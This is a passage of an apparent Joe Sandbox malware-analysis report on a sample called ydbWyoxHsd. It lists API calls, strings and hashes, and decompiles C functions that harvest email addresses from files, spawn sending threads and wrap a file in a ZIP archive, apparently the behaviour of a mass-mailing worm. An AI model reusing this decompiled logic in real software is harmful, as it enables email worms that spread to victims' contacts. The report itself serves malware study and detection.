0x00402a59
0x00402a5b
0x00402a63
0x00402a66
0x00402a6b
0x00000000
0x00000000
0x00402a73
0x00402a7a
0x00402a7e
0x00402a84
0x00402a87
0x00402a8c
0x00402a96
0x00402aa2
0x00402aa6
0x00402aac
0x00402aaf
0x00402ab4
0x00402abe
0x00402aca
0x00402ace
0x00402ad1
0x00402ad6
0x00402ad9
0x00402ade
0x00402ae2
0x00402ae8
0x00402aeb
0x00402af0
0x00402af3
0x00402af6
0x00402af7
0x00402afc
0x00402b01
0x00402b03
0x00402b03
0x00402b03
0x00402b05
0x00402b0d
0x00402b10
0x00402b15
0x00000000
0x00000000
0x00402b1d
0x00402b24
0x00402b28
0x00402b2e
0x00402b31
0x00402b36
0x00402b40
0x00402b4c
0x00402b50
0x00402b56
0x00402b59
0x00402b5e
0x00402b68
0x00402b74
0x00402b78
0x00402b7e
0x00402b81
0x00402b86
0x00402b90
0x00402b9c
0x00402ba0
0x00402ba3
0x00402ba8
0x00402bab
0x00000000
0x00000000
0x00402bba
0x00402bc1
0x00402bc5
0x00402bcb
0x00402bce
0x00402bd3
0x00402bd6
0x00402bdb
0x00402bdf
0x00402be5
0x00402be8
0x00402bed
0x00402bfe
0x00402c78
0x00402c84
0x00402c88
0x00402c8e
0x00402c91
0x00402c96
0x00402ca0
0x00402cac
0x00402cb0
0x00402cb3
0x00402cb8
0x00402cbb
0x00402cbe
0x00402cbf
0x00402cc4
0x00402cc9
0x00402ccb
0x00402ccb
0x00402ccb
0x00402ccd
0x00402cd5
0x00402cd8
0x00402cdd
0x00402c00
0x00402c07
0x00402c13
0x00402c17
0x00402c1d
0x00402c20
0x00402c25
0x00402c2f
0x00402c3b
0x00402c3f
0x00402c42
0x00402c47
0x00402c4a
0x00402c4d
0x00402c4e
0x00402c53
0x00402c58
0x00402c5a
0x00402c5a
0x00402c5a
0x00402c5c
0x00402c64
0x00402c67
0x00402c6c
0x00402c6c
0x00402ce0
0x00402ce8
0x00402cee
0x00402cf1
0x00402cf6
0x00402cfa
0x00402d02
0x00402d08
0x00402d0b
0x00402d10
0x00000000
0x00000000
0x00402d1f
0x00402d26
0x00402d2a
0x00402d30
0x00402d33
0x00402d38
0x00402d3b
0x00402d40
0x00402d44
0x00402d4a
0x00402d4d
0x00402d52
0x00402d5c
0x00402d68
0x00402d6c
0x00402d72
0x00402d75
0x00402d7a
0x00402d84
0x00402d90
0x00402d94
0x00402d97
0x00402d9c
0x00402d9f
0x00000000
0x00000000
0x00402dae
0x00402db5
0x00402db9
0x00402dbf
0x00402dc2
0x00402dc7
0x00402dca
0x00402dcf
0x00402dd3
0x00402dd9
0x00402ddc
0x00402de1
0x00402de4
0x00402de9
0x00402ded
0x00402df3
0x00402df6
0x00402dfb
0x00402dfe
0x00000000
0x00000000
0x00402e0d
0x00402e14
0x00402e18
0x00402e1e
0x00402e21
0x00402e26
0x00402e29
0x00402e2e
0x00402e32
0x00402e38
0x00402e3b
0x00402e40
0x00402e4a
0x00402e56
0x00402e5a
0x00402e60
0x00402e63
0x00402e68
0x00402e72
0x00402e7e
0x00402e82
0x00402e85
0x00402e8a
0x00402e8d
0x00402e90
0x00402e91
0x00402e96
0x00402e9b
0x00402e9d
0x00402e9d
0x00402e9d
0x00402e9f
0x00402ea7
0x00402eaa
0x00402eaf
0x00402eb2
0x00000000
0x00402ecd
0x00402ebe
0x00402ec5
0x00402eca
0x00402eca
0x00402edc
0x00402ee3
0x00402eed
0x00402ef7
0x00402f01
0x00402f0b
0x00402f15
0x00402f18
0x00402f1d
0x00000000
0x00000000
0x00402467
0x00000000
0x00402461
0x00402f22
0x00402f2b

APIs

lstrlen.KERNEL32 ref: 004022A4
memset.MSVCRT ref: 004022D3
lstrcpy.KERNEL32 ref: 004022DF

Part of subcall function 00404620: memset.MSVCRT ref: 0040463D
Part of subcall function 00404620: GetSystemDirectoryA.KERNEL32 ref: 00404649
Part of subcall function 00404620: lstrlen.KERNEL32 ref: 00404654
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 0040466E
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 00404680

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

Sleep.KERNEL32 ref: 00402346
memset.MSVCRT ref: 0040237B
memset.MSVCRT ref: 00402399
memset.MSVCRT ref: 004023B7
lstrcat.KERNEL32 ref: 004023DF
lstrcat.KERNEL32 ref: 004023F2
lstrcat.KERNEL32 ref: 0040240A
lstrcat.KERNEL32 ref: 0040241D
strstr.MSVCRT ref: 00402444
lstrcat.KERNEL32 ref: 00402482
lstrcat.KERNEL32 ref: 004024AA
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 004024D2

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Strings

mvcsv.qyy, xrefs: 004022E7
_@, xrefs: 004025E9
8@, xrefs: 004024DF
d, xrefs: 004023A4
@, xrefs: 004026EA
.zip, xrefs: 00402412
s@, xrefs: 0040264C
N@, xrefs: 00402586
X@, xrefs: 004027F4
.ru, xrefs: 00402439

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrcat$memset$Sleeplstrlen$ConnectedCountDirectoryHandleInternetLibraryLoadModuleStateSystemTicklstrcpyrandsrandstrstr
String ID: .ru$.zip$8@$N@$X@$_@$d$mvcsv.qyy$s@$@
API String ID: 4149311011-1716888737
Opcode ID: 7e3f864fb77927ba2efb06760720045ebe60907d4ebc95661c7502bd9f0cadcb
Instruction ID: c4b552956d8c88359d0401bfea8a3880dfb39e4fafa2b11eb934faa6a3ed69b2
Opcode Fuzzy Hash: 7e3f864fb77927ba2efb06760720045ebe60907d4ebc95661c7502bd9f0cadcb
Instruction Fuzzy Hash: 27F1DBB5814304CBCB10BF75D98569DBBF0BB84304F41897EE9C8A7291EB389698CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00404F82 Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 210timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00404FD9
GetTickCount.KERNEL32 ref: 00404FE1
srand.MSVCRT ref: 00404FE9
rand.MSVCRT ref: 00404FF2
GetTickCount.KERNEL32 ref: 00404FF9
srand.MSVCRT ref: 00405001
rand.MSVCRT ref: 0040500D
GetTickCount.KERNEL32 ref: 00405026
srand.MSVCRT ref: 0040502E
rand.MSVCRT ref: 00405033
GetTickCount.KERNEL32 ref: 0040504E
srand.MSVCRT ref: 00405056
rand.MSVCRT ref: 0040505B
GetTickCount.KERNEL32 ref: 00405076
srand.MSVCRT ref: 0040507E
rand.MSVCRT ref: 00405083
GetTickCount.KERNEL32 ref: 0040509E
srand.MSVCRT ref: 004050A6
rand.MSVCRT ref: 004050AB
GetTickCount.KERNEL32 ref: 004050C6
srand.MSVCRT ref: 004050CE
rand.MSVCRT ref: 004050D3
GetLocalTime.KERNEL32 ref: 004050E5
_itoa.MSVCRT ref: 00405102
rand.MSVCRT ref: 00405107
rand.MSVCRT ref: 0040513A
rand.MSVCRT ref: 00405168
rand.MSVCRT ref: 00405196
rand.MSVCRT ref: 004051C0
rand.MSVCRT ref: 004051EF

Strings

1, xrefs: 00405006
abcdefghijklmnopqrstuvwxyz, xrefs: 00404F8E

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: rand$CountTicksrand$LocalTime$_itoa
String ID: 1$abcdefghijklmnopqrstuvwxyz
API String ID: 1825045967-2454072292
Opcode ID: 4f87a31ff910bbbb76765ae44f831347ed66564e87c85ef04c6c44d63fd729d0
Instruction ID: 02076846e8c8a6e31432f83e4ba7e8d02048c9f1cba05857c09831ad89ea6e40
Opcode Fuzzy Hash: 4f87a31ff910bbbb76765ae44f831347ed66564e87c85ef04c6c44d63fd729d0
Instruction Fuzzy Hash: 05818271D10255CECB20EFFDC9855AEBBF0EF44304F04827EE884EB686E63859458B99

Uniqueness

Uniqueness Score: -1.00%

Function 100024A2 Relevance: 54.4, APIs: 29, Strings: 2, Instructions: 183timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 100024F9
GetTickCount.KERNEL32 ref: 10002501
srand.MSVCRT ref: 10002509
rand.MSVCRT ref: 10002512
GetTickCount.KERNEL32 ref: 10002519
srand.MSVCRT ref: 10002521
rand.MSVCRT ref: 1000252D
GetTickCount.KERNEL32 ref: 10002546
srand.MSVCRT ref: 1000254E
rand.MSVCRT ref: 10002553
GetTickCount.KERNEL32 ref: 1000256E
srand.MSVCRT ref: 10002576
rand.MSVCRT ref: 1000257B
GetTickCount.KERNEL32 ref: 10002596
srand.MSVCRT ref: 1000259E
rand.MSVCRT ref: 100025A3
GetTickCount.KERNEL32 ref: 100025BE
srand.MSVCRT ref: 100025C6
rand.MSVCRT ref: 100025CB
GetTickCount.KERNEL32 ref: 100025E6
srand.MSVCRT ref: 100025EE
rand.MSVCRT ref: 100025F3
GetLocalTime.KERNEL32 ref: 10002605
_itoa.MSVCRT ref: 10002622
rand.MSVCRT ref: 10002627
rand.MSVCRT ref: 1000265A
rand.MSVCRT ref: 10002688
rand.MSVCRT ref: 100026B6
rand.MSVCRT ref: 100026E4

Strings

abcdefghijklmnopqrstuvwxyz, xrefs: 100024AE
1, xrefs: 10002526

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: rand$CountTicksrand$LocalTime$_itoa
String ID: 1$abcdefghijklmnopqrstuvwxyz
API String ID: 1825045967-2454072292
Opcode ID: d440a931a9828604412f1a6c5e1eba2545ae415163184f67e12b98fea018b4f9
Instruction ID: 08b90c865ba8496aedd198f6e57dbd32cf2abbb3e8829b71b4f22ed4fc9ecb7d
Opcode Fuzzy Hash: d440a931a9828604412f1a6c5e1eba2545ae415163184f67e12b98fea018b4f9
Instruction Fuzzy Hash: 3E71B475D016158EDB12DFBCC8451AEFBF8EF04381F44862AE884EB24AEB34B5558B91

Uniqueness

Uniqueness Score: -1.00%

Function 0040307E Relevance: 49.2, APIs: 19, Strings: 9, Instructions: 199
sleepfilestringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040307E(signed int __edx, char* _a4) {
				void* _v16;
				char _v236;
				char _v237;
				char _v240;
				int _v244;
				int _v248;
				char* _v268;
				int _v272;
				char* _v276;
				intOrPtr _v280;
				int _v284;
				void* __ebx;
				int _t64;
				int _t69;
				long _t71;
				int _t77;
				signed int _t80;
				signed int _t81;
				int _t83;
				int _t92;
				int _t95;
				signed int _t97;
				int _t99;
				int _t100;
				int _t101;
				int _t102;
				int _t103;
				signed int _t104;
				signed int _t107;
				long _t110;
				struct _IO_FILE* _t111;
				struct _IO_FILE* _t112;
				int* _t113;
				intOrPtr* _t114;

				_t104 = __edx;
				_v244 = 0;
				_t110 = 0;
				_t111 = fopen(_a4, 0x40efaf);
				_t64 = 0;
				if(_t111 == 0) {
					L50:
					return _t64;
				}
				while(fgetc(_t111) != 0xffffffff) {
					_v244 = _v244 + 1;
				}
				fclose(_t111);
				_t112 = fopen(_a4, 0x40efaf);
				_t64 = 0;
				if(_t112 == 0) {
					goto L50;
				}
				while(1) {
					L47:
					_t69 = fgetc(_t112);
					_t99 = _t69;
					if(_t69 == 0xffffffff || _t110 > _v244) {
						break;
					}
					if(_t99 != 0x40) {
						continue;
					}
					_t71 = ftell(_t112);
					_t8 = _t71 - 1; // -1
					_t110 = _t8;
					if(_t110 > 0) {
						_t9 = _t71 - 2; // -2
						_t110 = _t9;
					}
					fseek(_t112, _t110, 0);
					_t100 = fgetc(_t112);
					while(1) {
						_t14 = _t100 - 0x61; // -97
						_t17 = _t100 - 0x41; // -65
						_t104 = _t104 & 0xffffff00 | _t14 - 0x00000019 < 0x00000000 | _t17 & 0xffffff00 | _t17 - 0x00000019 < 0x00000000;
						if(_t104 != 0) {
							goto L11;
						}
						L15:
						_t20 = _t100 - 0x30; // -48
						_t97 = _t20;
						if(_t97 <= 9) {
							goto L11;
						}
						_t104 = _t104 & 0xffffff00 | _t100 == 0x0000005f | _t97 & 0xffffff00 | _t100 == 0x0000002d;
						if(_t104 == 0 && _t100 != 0x2e) {
							L18:
							_v248 = 0;
							while(1) {
								_t77 = fgetc(_t112);
								_t101 = _t77;
								if(_t77 == 0xffffffff) {
									break;
								}
								_t103 = 0;
								_t26 = _t101 - 0x61; // -97
								if(_t26 <= 0x19) {
									_t103 = 1;
								}
								_t27 = _t101 - 0x41; // -65
								if(_t27 <= 0x19) {
									_t103 = 1;
								}
								_t28 = _t101 - 0x30; // -48
								_t80 = _t28;
								if(_t80 <= 9) {
									_t103 = 1;
								}
								_t81 = _t80 & 0xffffff00 | _t101 == 0x0000002d;
								_t107 = _t104 & 0xffffff00 | _t101 == 0x0000005f | _t81;
								if(_t107 != 0) {
									_t103 = 1;
								}
								_t104 = _t107 & 0xffffff00 | _t101 == 0x00000040 | _t81 & 0xffffff00 | _t101 == 0x0000002e;
								if(_t104 != 0) {
									_t103 = 1;
								}
								if(_t103 == 0) {
									break;
								} else {
									_t92 = _v248;
									 *(_t92 +  &_v236) = _t101;
									_v248 = _t92 + 1;
									continue;
								}
							}
							_t83 = _v248;
							 *((char*)(_t83 +  &_v236)) = 0;
							if( *((char*)(_t83 +  &_v237)) == 0x40) {
								goto L47;
							}
							_t102 =  &_v236;
							_v284 = _t102;
							L0040C310();
							_t113 = _t113 - 4;
							if(_t83 > 9 &&  *((char*)(_v248 +  &_v237)) != 0x2e && _v236 != 0x40 && _v236 != 0x2e && _v236 != 0x2d) {
								 *_t113 = _t102;
								if(E00403008() == 0) {
									goto L47;
								}
								 *_t113 = _t102;
								if(E00402FC2(_t85, _t102) == 0) {
									goto L47;
								}
								 *_t113 = _t102;
								if(E0040305A() == 0) {
									goto L47;
								}
								while(E00404F0A(_t102, _t104) == 0) {
									 *_t113 = 0x7530;
									Sleep(??);
									_t113 = _t113 - 4;
								}
								_v268 =  &_v240;
								_v272 = 0;
								_v276 =  &_v236;
								_v280 = E00402288;
								_v284 = 0;
								 *_t113 = 0;
								CreateThread(??, ??, ??, ??, ??, ??);
								_t114 = _t113 - 0x18;
								 *_t114 = 0x28;
								Sleep(??);
								_t113 = _t114 - 4;
								if( *0x414018 == 4) {
									 *0x414018 = 0;
									 *_t113 = 0xfa0;
									Sleep(??);
									_t113 = _t113 - 4;
								}
								 *0x414018 =  *0x414018 + 1;
							}
							goto L47;
						}
						L11:
						if(_t110 == 0) {
							rewind(_t112);
							goto L18;
						}
						_t110 = _t110 - 1;
						fseek(_t112, _t110, 0);
						_t95 = fgetc(_t112);
						_t100 = _t95;
						if(_t95 == 0xffffffff) {
							fclose(_t112);
						}
						_t14 = _t100 - 0x61; // -97
						_t17 = _t100 - 0x41; // -65
						_t104 = _t104 & 0xffffff00 | _t14 - 0x00000019 < 0x00000000 | _t17 & 0xffffff00 | _t17 - 0x00000019 < 0x00000000;
						if(_t104 != 0) {
							goto L11;
						}
						goto L15;
					}
				}
				fclose(_t112);
				_t64 = 0;
				goto L50;
			}

0x0040307e
0x0040308a
0x00403094
0x004030ac
0x004030ae
0x004030b5
0x00403388
0x0040338f
0x0040338f
0x004030c3
0x004030bd
0x004030bd
0x004030d3
0x004030eb
0x004030ed
0x004030f4
0x00000000
0x00000000
0x00403360
0x00403360
0x00403363
0x00403368
0x0040336d
0x00000000
0x00000000
0x0040310f
0x00000000
0x00000000
0x00403118
0x0040311d
0x0040311d
0x00403122
0x00403124
0x00403124
0x00403124
0x00403136
0x00403143
0x00403177
0x00403177
0x00403180
0x00403189
0x0040318b
0x00000000
0x00000000
0x0040318d
0x0040318d
0x0040318d
0x00403193
0x00000000
0x00000000
0x004031a1
0x004031a3
0x004031aa
0x004031aa
0x00403224
0x00403227
0x0040322c
0x00403231
0x00000000
0x00000000
0x004031b6
0x004031bb
0x004031c1
0x004031c3
0x004031c3
0x004031c8
0x004031ce
0x004031d0
0x004031d0
0x004031d5
0x004031d5
0x004031db
0x004031dd
0x004031dd
0x004031eb
0x004031ee
0x004031f0
0x004031f2
0x004031f2
0x00403203
0x00403205
0x00403207
0x00403207
0x0040320e
0x00000000
0x00403210
0x00403210
0x00403216
0x0040321e
0x00000000
0x0040321e
0x0040320e
0x00403233
0x00403239
0x00403249
0x00000000
0x00000000
0x0040324f
0x00403255
0x00403258
0x0040325d
0x00403263
0x004032a4
0x004032ae
0x00000000
0x00000000
0x004032b4
0x004032be
0x00000000
0x00000000
0x004032c4
0x004032ce
0x00000000
0x00000000
0x004032e5
0x004032d6
0x004032dd
0x004032e2
0x004032e2
0x004032f4
0x004032f8
0x00403306
0x0040330a
0x00403312
0x0040331a
0x00403321
0x00403326
0x00403329
0x00403330
0x00403335
0x0040333f
0x00403341
0x0040334b
0x00403352
0x00403357
0x00403357
0x0040335a
0x0040335a
0x00000000
0x00403263
0x00403147
0x00403149
0x00403102
0x00000000
0x00403102
0x0040314b
0x0040315b
0x00403163
0x00403168
0x0040316d
0x00403172
0x00403172
0x00403177
0x00403180
0x00403189
0x0040318b
0x00000000
0x00000000
0x00000000
0x0040318b
0x00403177
0x0040337e
0x00403383
0x00000000

APIs

fopen.MSVCRT ref: 004030A7
fgetc.MSVCRT ref: 004030C6
fclose.MSVCRT ref: 004030D3
fopen.MSVCRT ref: 004030E6
rewind.MSVCRT ref: 00403102
fgetc.MSVCRT ref: 00403227
lstrlen.KERNEL32 ref: 00403258
Sleep.KERNEL32 ref: 004032DD
CreateThread.KERNEL32 ref: 00403321
Sleep.KERNEL32 ref: 00403330
Sleep.KERNEL32 ref: 00403352
fgetc.MSVCRT ref: 00403363
fclose.MSVCRT ref: 0040337E

Strings

., xrefs: 004031A5
-, xrefs: 0040319B
_, xrefs: 004031E2
-, xrefs: 004031E8
_, xrefs: 00403195
@, xrefs: 0040310C
., xrefs: 004031FD
@, xrefs: 004031F7
-, xrefs: 00403297

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: Sleepfgetc$fclosefopen$CreateThreadlstrlenrewind
String ID: -$-$-$.$.$@$@$_$_
API String ID: 3748466826-511738659
Opcode ID: e3e62f6e979f6702fd6e717d28f425ea4601e77e36b28012b9f2447554cc7b5d
Instruction ID: 6d437ecd7483d23b259e28590f61e0e5bcbda088feaf823980ac16ccee795e59
Opcode Fuzzy Hash: e3e62f6e979f6702fd6e717d28f425ea4601e77e36b28012b9f2447554cc7b5d
Instruction Fuzzy Hash: 287182748043148AD720AF25C4C536EBFA8AF44715F1549BFE885AB3C1DB7C8B848B8B

Uniqueness

Uniqueness Score: -1.00%

Function 0040829C Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 231
filestringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040829C(signed int __edx, CHAR* _a4, CHAR* _a8, void* _a12) {
				void* _v16;
				short _v32;
				short _v34;
				long _v38;
				long _v42;
				intOrPtr _v46;
				void* _v48;
				signed short _v50;
				short _v52;
				short _v54;
				short _v56;
				void _v60;
				short _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				short _v82;
				short _v84;
				short _v86;
				short _v88;
				char _v92;
				struct _OVERLAPPED* _v98;
				intOrPtr _v102;
				short _v104;
				short _v110;
				short _v112;
				long _v116;
				long _v120;
				intOrPtr _v124;
				short _v126;
				short _v128;
				short _v130;
				short _v132;
				short _v134;
				short _v136;
				void _v140;
				char _v1164;
				long _v1168;
				long _v1172;
				void* _v1176;
				void* _v1188;
				void* _v1192;
				void* _v1196;
				void* _v1200;
				void* _v1204;
				void* _v1208;
				char _v1212;
				struct _OVERLAPPED* _v1216;
				void* _v1220;
				long _v1224;
				void* _v1228;
				signed int _t133;
				signed int _t137;
				int _t140;
				int _t141;
				intOrPtr _t148;
				long _t149;
				long _t150;
				short _t151;
				long _t155;
				char _t159;
				int _t162;
				long _t167;
				void* _t171;
				intOrPtr _t187;
				struct _OVERLAPPED* _t190;
				signed int _t197;
				signed int _t199;
				void* _t204;
				void* _t206;
				void* _t208;
				void* _t210;
				void* _t211;
				void* _t212;
				void* _t213;
				void* _t214;
				void* _t225;
				void* _t226;
				intOrPtr* _t230;
				void** _t231;

				_t197 = __edx;
				_t133 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 0x80, 0);
				_t213 = _t212 - 0x1c;
				_t211 = _t133;
				_t190 = 0;
				_t199 = _t197 & 0xffffff00 | _t133 == 0xffffffff | _t133 & 0xffffff00 | _t133 == 0x00000000;
				if(_t199 == 0) {
					_t137 = CreateFileA(_a8, 0x40000000, 3, 0, 2, 0x80, 0);
					_t214 = _t213 - 0x1c;
					_v1176 = _t137;
					if((_t199 & 0xffffff00 | _t137 == 0xffffffff | _t137 & 0xffffff00 | _t137 == 0x00000000) == 0) {
						_t204 =  &_v60;
						asm("cld");
						_t140 = memset(_t204, 0, 7 << 2);
						 *((short*)(_t204 + 7)) = 0;
						_t206 =  &_v140;
						_t141 = memset(_t206, _t140, 0xb << 2);
						 *((short*)(_t206 + 0xb)) = 0;
						_t208 =  &_v92;
						memset(_t208, _t141, 5 << 2);
						 *((short*)(_t208 + 5)) = 0;
						_v60 = 0x4034b50;
						_v56 = 0xa;
						_v134 = 0xa;
						_v54 = 0;
						_v132 = 0;
						_v52 = 0;
						_v130 = 0;
						E0040814C( &_v50,  &_v48);
						_v128 = _v50 & 0x0000ffff;
						_v126 = _v48;
						_t148 = E004081D8(_t211);
						_v46 = _t148;
						_v124 = _t148;
						_t149 = GetFileSize(_t211, 0);
						_v42 = _t149;
						_v120 = _t149;
						_t150 = GetFileSize(_t211, 0);
						_v38 = _t150;
						_v116 = _t150;
						_t151 = _a12;
						_v1212 = _t151;
						L0040C310();
						_v34 = _t151;
						_v112 = _t151;
						_v32 = 0;
						_v110 = 0;
						_v98 = 0;
						WriteFile(_v1176,  &_v60, 0x1e,  &_v1168, 0);
						_t155 = _a12;
						_v1216 = _t155;
						L0040C310();
						WriteFile(_v1176, _a12, _t155,  &_v1168, 0);
						_t159 = _a12;
						_v1220 = _t159;
						L0040C310();
						_t74 = _t159 + 0x1e; // 0x1e
						_t187 = _t74;
						SetFilePointer(_t211, 0, 0, 0);
						_t225 = _t214 + 0x24 - 0xffffffffffffffbc;
						_t210 =  &_v1164;
						while(1) {
							_v1168 = 0;
							_t162 = ReadFile(_t211, _t210, 0x400,  &_v1168, 0);
							_t226 = _t225 - 0x14;
							if(_t162 == 0 || _v1168 == 0) {
								break;
							}
							WriteFile(_v1176, _t210, _v1168,  &_v1172, 0);
							_t225 = _t226 - 0x14;
							_t187 = _t187 + _v1168;
						}
						_v76 = _t187;
						_v140 = 0x2014b50;
						_v136 = 0x14;
						_v104 = 0;
						_v102 = 0x20;
						WriteFile(_v1176,  &_v140, 0x2e,  &_v1168, 0);
						_t167 = _a12;
						_v1224 = _t167;
						L0040C310();
						WriteFile(_v1176, _a12, _t167,  &_v1168, 0);
						_t171 = _a12;
						_v1228 = _t171;
						L0040C310();
						_t230 = _t226 - 0xfffffffffffffff8;
						_v92 = 0x6054b50;
						_v88 = 0;
						_v86 = 0;
						_v84 = 1;
						_v82 = 1;
						_v80 = _t187 + 0x2e + _t171 - _v76;
						_v72 = 0;
						_v1216 = 0;
						_v1220 =  &_v1168;
						_v1224 = 0x16;
						_v1228 =  &_v92;
						 *_t230 = _v1176;
						WriteFile(??, ??, ??, ??, ??);
						_t231 = _t230 - 0x14;
						 *_t231 = _v1176;
						CloseHandle(??);
						 *(_t231 - 4) = _t211;
						CloseHandle(??);
						_t190 = 1;
					} else {
						CloseHandle(_t211);
						_t190 = 0;
					}
				}
				return _t190;
			}

0x0040829c
0x004082de
0x004082e3
0x004082e6
0x004082f3
0x004082f8
0x004082fa
0x00408336
0x0040833b
0x0040833e
0x00408351
0x00408368
0x0040836b
0x00408376
0x00408378
0x0040837d
0x00408388
0x0040838a
0x0040838f
0x00408397
0x00408399
0x0040839e
0x004083a5
0x004083ab
0x004083b4
0x004083ba
0x004083c0
0x004083c6
0x004083dc
0x004083e5
0x004083ec
0x004083f3
0x004083f8
0x004083fb
0x00408409
0x00408411
0x00408414
0x00408422
0x0040842a
0x0040842d
0x00408430
0x00408433
0x00408436
0x0040843e
0x00408442
0x00408446
0x0040844c
0x00408452
0x00408480
0x00408488
0x0040848b
0x0040848e
0x004084bc
0x004084c4
0x004084c7
0x004084ca
0x004084d2
0x004084d2
0x004084f0
0x004084f5
0x004084f8
0x004084fe
0x004084fe
0x00408529
0x0040852e
0x00408533
0x00000000
0x00000000
0x00408567
0x0040856c
0x0040856f
0x0040856f
0x00408577
0x0040857a
0x00408584
0x0040858d
0x00408593
0x004085c7
0x004085d2
0x004085d5
0x004085d8
0x00408606
0x0040860e
0x00408611
0x00408614
0x00408619
0x0040861e
0x00408625
0x0040862b
0x00408631
0x00408637
0x00408642
0x00408645
0x0040864b
0x00408659
0x0040865d
0x00408668
0x00408672
0x00408675
0x0040867a
0x00408683
0x00408686
0x0040868e
0x00408691
0x00408699
0x00408353
0x00408356
0x0040835e
0x0040835e
0x00408351
0x004086a7

APIs

CreateFileA.KERNEL32 ref: 004082DE
CreateFileA.KERNEL32 ref: 00408336
CloseHandle.KERNEL32 ref: 00408356
GetFileSize.KERNEL32 ref: 00408409
GetFileSize.KERNEL32 ref: 00408422
lstrlen.KERNEL32 ref: 00408436
WriteFile.KERNEL32 ref: 00408480
lstrlen.KERNEL32 ref: 0040848E
WriteFile.KERNEL32 ref: 004084BC
lstrlen.KERNEL32 ref: 004084CA
SetFilePointer.KERNEL32 ref: 004084F0
ReadFile.KERNEL32 ref: 00408529

Strings

., xrefs: 004085AC
, xrefs: 00408593

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

